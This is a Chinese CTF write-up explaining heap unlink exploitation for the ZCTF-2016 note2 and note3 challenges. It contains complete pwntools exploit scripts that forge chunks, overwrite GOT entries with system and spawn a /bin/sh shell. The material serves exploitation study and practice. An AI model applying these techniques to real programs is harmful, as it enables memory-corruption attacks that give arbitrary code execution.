前话

  • 原理在这就不说了,很多博主说得都非常的详细,我也是从他们那里学到的。本篇主要就是讲解常见的Unlink利用。主要分为有泄漏操作和无泄漏操作。
  • 有泄漏操作就是能够输出堆中的信息,无泄漏就是不能泄露堆中的信息。

有泄漏操作

ZCTF-2016-note2

  • 【保护】:

  • RELRO保护一定要非常注意,如果是这种情况下(部分开启),说明任意函数的got表都可写;如果是完全开启(FULL)则只能修改free_hookmallock_hook。另外PIE也需要特别注意,在Unlink的利用中,如果PIE没开正如现在这样,对我们的伪造是非常便利的!

  • 【分析】:

  • 程序有增删改查四个操作,主要漏洞出在自定义的输入函数中,由于符号数和无符号数进行比较时,一律转为无符号数比较而导致负数溢出!

  • 只要我们在增加note的操作中,分配一个大小为0的chunk,那么根据这个逻辑就会将 -1转为无符号整数,是个非常大的数字,就能够实现溢出写入。

  • 而一个chunk会包含headfd、bk这几个部分,在64位下占0x20的大小,所以我们虽然是分配了0个字节大小,实际上系统会自动分配0x20个大小来保存这几个部分。

  • 利用的手法就是通过unlink,获得一个在bss段上可控的chunk。我们发现,note_list是存放着我们新建的note,地址是0x602120,并且最多只能建立4个note。

  • 先新建3个chunk,大小分别是0x80,0x0,0x80

      note_list=0x0000000000602120pay='a'*8+p64(0x21)+p64(note_list-0x18)+p64(note_list-0x10)pay+='a'*(0x80-len(pay))+p64(0x20)add_note(0x80,pay)#0add_note(0,'a'*0x10)#1add_note(0x80,'b'*0x10)#2
    
  • chunk0里边伪造一个chunk,大小是0x20,这个大小随意,此时各个chunk的信息如下

  • 释放chunk1,再建立一个chunk,大小为0.此时根据内存重用机制,我们实际上得到的还是之前释放的那个chunk,只是放置它的位置会往后挪1

  • 此时成功的将chunk2->prev_size改为0xa0chunk2->size改为0x90,表示chunk2和chunk2的上一个堆块都是处于空闲状态,此时只要freechunk2,就能够实现unlink。根据glibc的操作,0x23170b0-0xa0=0x2317020,正好指向chunk0中的fake_chunk->fd,那么在unlink之后,我们就得到了一个fake_chunk->fd的堆。

  • 然后通过edit操作,对note0进行编辑,我们将0x602120处的内容用atoi_got覆盖;然后进行show的操作,输出note0的信息,实际上就是泄露atoi_got中的内容,以此来算出libc的基址,然后拿到system的地址。再编辑note0,实际上就是对atoi_got进行修改,我们改为system的地址。最后在选择时,输入**/bin/sh**,就会变成system("/bin/sh"),从而获得一个shell

完整EXP

#encoding=utf-8
from pwn import*#context.log_level='debug'
p=process('./note2')
elf=ELF('./note2')
libc=elf.libcdef login(name,addr):p.sendlineafter('name:\n',name)p.sendlineafter('address:\n',name)def add_note(size,data):p.sendlineafter('option--->>\n','1')p.sendlineafter('128)\n',str(size))p.sendlineafter('content:\n',data)
def show_note(idx):p.sendlineafter('option--->>\n','2')p.sendlineafter('note:\n',str(idx))def edit_note(idx,data):p.sendlineafter('option--->>\n','3')p.sendlineafter('note:\n',str(idx))p.sendlineafter('2.append]\n','1')p.sendlineafter('TheNewContents:',data)
def free_note(idx):p.sendlineafter('option--->>\n','4')p.sendlineafter('note:\n',str(idx))login('hack','hack')
note_list=0x0000000000602120
pay='a'*8+p64(0x21)+p64(note_list-0x18)+p64(note_list-0x10)
pay+='a'*(0x80-len(pay))+p64(0x20)add_note(0x80,pay)#0
add_note(0,'a'*0x10)#1
add_note(0x80,'b'*0x10)#2
gdb.attach(p,'x/4gx 0x602120')
pause()
free_note(1)
pay='a'*0x10+p64(0xa0)+p64(0x90)
add_note(0,pay)#改写chunk2->prev_size=0xa0,chunk2->size=0x90
gdb.attach(p,'x/4gx 0x602120')
pause()
free_note(2)
gdb.attach(p,'x/4gx 0x602120')
pause()atoi_got=elf.got['atoi']
edit_note(0,'c'*0x18+p64(atoi_got))
gdb.attach(p,'x/4gx 0x602120')
pause()
show_note(0)
p.recvuntil('Content is ')
libc_addr=u64(p.recvuntil('\n')[:-1].ljust(8,'\0'))-libc.sym['atoi']
success('libc_addr:'+hex(libc_addr))
system=libc.sym['system']+libc_addr
show_note(0)
p.sendlineafter('option--->>\n','/bin/sh')
p.interactive()

无泄露操作

ZCTF-2016-note3

  • 【保护】:
  • 【分析】:
  • 漏洞依然是和上边的一样,只是不同在于这个程序的输出操作不能用
  • 并且可以建立7note

  • 手法还是类似的,不过这次我们不能在chunk0中伪造fake_chunk,因为unlink成功后,我们只能写入0x20大小的数据,如此不能覆盖完全我们想要控制的地方,大家可以自行测试!

  • 所以还是先建立4note

      note_list=0x6020d0atoi_got=elf.got['atoi']puts_plt=elf.plt['puts']free_got=elf.got['free']pay='\xaa'*0x8+p64(0x61)+p64(note_list-0x18)+p64(note_list-0x10)+'\xaa'*(0x60-0x20)+p64(0x60)add(0x80,'\xaa'*0x10)#0add(0x80,pay)#1add(0x0,'\xcc'*0x10)#2add(0x80,'\xdd')#3
    
  • note1中进行伪造,后续步骤类似

      free(2)add(0,'\xcc'*0x10+p64(0xa0)+p64(0x90))#2free(3)
    
  • unlink之后

  • 编辑note0,将0x6020c8处的内容用free_got代替,0x6020d0处的内容用atoi_got代替。

  • 编辑note0,将free_got中的置改为puts_plt,然后进行free操作,将note1 free掉,相当于是puts(note1),而note1的地址是atoi_got,因此就能泄露出内存。后面再编辑note0,将free_got修改为system地址,再建立一个note,写入 “/bin/sh”,最后将此 free,获得一个shell

完整EXP

#encoding=utf-8
from pwn import*
elf=ELF('./note3')
libc=elf.libc
#context.log_level='debug'
p=process('./note3')
def add(size,data):p.sendlineafter('-->>\n','1')p.sendlineafter('1024)\n',str(size))p.sendlineafter('content:\n',data)
def edit(idx,data):p.sendlineafter('-->>\n','3')p.sendlineafter('note:\n',str(idx))p.sendlineafter('content:\n',data)
def free(idx):p.sendlineafter('-->>\n','4')p.sendlineafter('note:\n',str(idx))note_list=0x6020d0
atoi_got=elf.got['atoi']
puts_plt=elf.plt['puts']
free_got=elf.got['free']
pay='\xaa'*0x8+p64(0x61)+p64(note_list-0x18)+p64(note_list-0x10)+'\xaa'*(0x60-0x20)+p64(0x60)
add(0x80,'\xaa'*0x10)#0
add(0x80,pay)#1
add(0x0,'\xcc'*0x10)#2
add(0x80,'\xdd')#3
free(2)
add(0,'\xcc'*0x10+p64(0xa0)+p64(0x90))#2
free(3)
edit(1,'\0'*0x10+p64(free_got)+p64(atoi_got))#+p64(atoi_got)
edit(0,p64(puts_plt)[:-1])
free(1)
gdb.attach(p,'x/10gx 0x00000000006020C8')
pause()
libc_addr=u64(p.recv(7)[:-1].ljust(8,'\0'))-libc.sym['atoi']
success("libc_addr:"+hex(libc_addr))
system=libc.sym['system']+libc_addr
success("system:"+hex(system))
add(0x10,'/bin/sh')#1
edit(0,p64(system)[:-1])
free(1)
'''gdb.attach(p,'x/10gx 0x00000000006020C8')
pause()'''
p.interactive()
  • 【补充】:
  • 这题还有个特别坑的地方,就是将free_got改写的时候,要写成p64(target_addr)[:-1],否则程序会崩掉。
  • 还有别的情况留待日后遇见了再补充。。。。。。

Heap-Unlink一谈相关推荐

  1. 一道题彻底理解 Pwn Heap Unlink

    基本原理 unlink是一个宏操作,用于将某一个空闲 chunk 从其所处的双向链表中脱链, 我们来利用unlink 所造成的漏洞时,其实就是对进行 unlink chunk 进行内存布局,然后借助 ...

  2. Pwnable之[Toddler's Bottle](三)--unlink

    Pwnable之[Toddler's Bottle](三)–unlink 提示:how can I exploit unlink corruption 我该怎么利用断腐败??? 其实就是如何利用chu ...

  3. 浅谈 maxMemory , totalMemory , freeMemory 和 OOM 与 native Heap

    作者:林冠宏 / 指尖下的幽灵 掘金:https://juejin.im/user/587f0dfe128fe100570ce2d8 博客:http://www.cnblogs.com/linguan ...

  4. Glibc堆块的向前向后合并与unlink原理机制探究

    i春秋作家:Bug制造机 原文来自:Glibc堆块的向前向后合并与unlink原理机制探究 玩pwn有一段时间了,最近有点生疏了,调起来都不顺手了,所以读读malloc源码回炉一点一点总结反思下. U ...

  5. pwn with glibc heap(堆利用手册)

    前言 ​ 对一些有趣的堆相关的漏洞的利用做一个记录,如有差错,请见谅. ​ 文中未做说明 均是指 glibc 2.23 ​ 相关引用已在文中进行了标注,如有遗漏,请提醒. 简单源码分析 ​ 本节只是简 ...

  6. iOS实录15:浅谈iOS Crash

    导语:在当前的iOS开发中,虽然ARC为开发者解决了手动内存管理时代 的许多麻烦,但是内存方面的问题依然是产生iOS Crash的元凶之一,本文介绍内存方面,有关僵尸对象.野指针.内存泄漏.废弃内存这 ...

  7. 浅谈java内存分配和回收策略

    一.导论 java技术体系中所提到的内存自动化管理归根结底就是内存的分配与回收两个问题,之前已经和大家谈过java回收的相关知识,今天来和大家聊聊java对象的在内存中的分配.通俗的讲,对象的内存分配 ...

  8. 浅谈算法和数据结构: 五 优先级队列与堆排序

    原文:浅谈算法和数据结构: 五 优先级队列与堆排序 在很多应用中,我们通常需要按照优先级情况对待处理对象进行处理,比如首先处理优先级最高的对象,然后处理次高的对象.最简单的一个例子就是,在手机上玩游戏 ...

  9. java对象头_浅谈java对象结构 对象头 Markword

    概述 对象实例由对象头.实例数据组成,其中对象头包括markword和类型指针,如果是数组,还包括数组长度; | 类型 | 32位JVM | 64位JVM| | ------ ---- | ----- ...

  10. c语言 unlink,unlink 漏洞笔记

    前导知识 malloc_chunk 结构 struct malloc_chunk { INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if ...

最新文章

  1. 网络连接、路由配置等
  2. 无法加载资源,因为“应用程序传输安全性”策略要求使用安全连接
  3. python全栈开发 * 22 面向对象 知识点汇总 * 180703
  4. Vue.js插槽slot和作用域插槽slot-scope学习小结
  5. C代码开发遇到的问题 变量初始化和结构体指针移动
  6. 在基于nuxt的移动端页面中引用mint UI的popup组件之父子组件传值
  7. flask mysql环境配置_Flask干货:访问数据库——Flask-SQLAlchemy初始化
  8. [css] 用CSS绘制一个红色的爱心
  9. OpenCV3学习(7.2)——图像分割之二(分水岭算法watershed)
  10. SVN checkout 之后图标没有显示(绿色勾)的问题
  11. python国际象棋游戏_国际象棋版AlphaZero出来了 还开源了Keras实现
  12. 丰巢刷脸取件被小学生破解,号称3D、深度学习加持的人脸识别究竟靠谱吗?...
  13. 终于知道为啥网页不让我复制粘贴了!
  14. CodeLite开发Gtk 语法检查报错
  15. 屏幕小于6英寸的手机_6英寸是多大?6英寸是多少厘米?
  16. 捕鱼游戏源码(数值+完整项目资源)
  17. 2017noip小凯的疑惑
  18. 读《史蒂夫•乔布斯传》(二)
  19. jsp汽车零配件销售进销存系统
  20. 使用python进行视频地址的获取,下载

热门文章

  1. PROE5.0运动仿真入门到精通视频教程
  2. 机器学习 绘制决策边界
  3. 【二级】(Word、Excel)使用邮件合并技术制作邀请函
  4. 分区失败,在计算机中不能打开磁盘,但是在磁盘管理软件中能打开的解决方法
  5. day07面向对象复习+课后练习
  6. 北京卓镭激光完成近亿元B轮融资,君联资本领投
  7. java.sql.SQLException: Access denied for user ''@'localhost' (using password: YES)出现原因及解决方法
  8. Spring中的AOP以及切入点表达式和各种通知
  9. Eolink 征文活动- -后端研发需要的API文档工具
  10. 显卡驱动怎么安装-驱动人生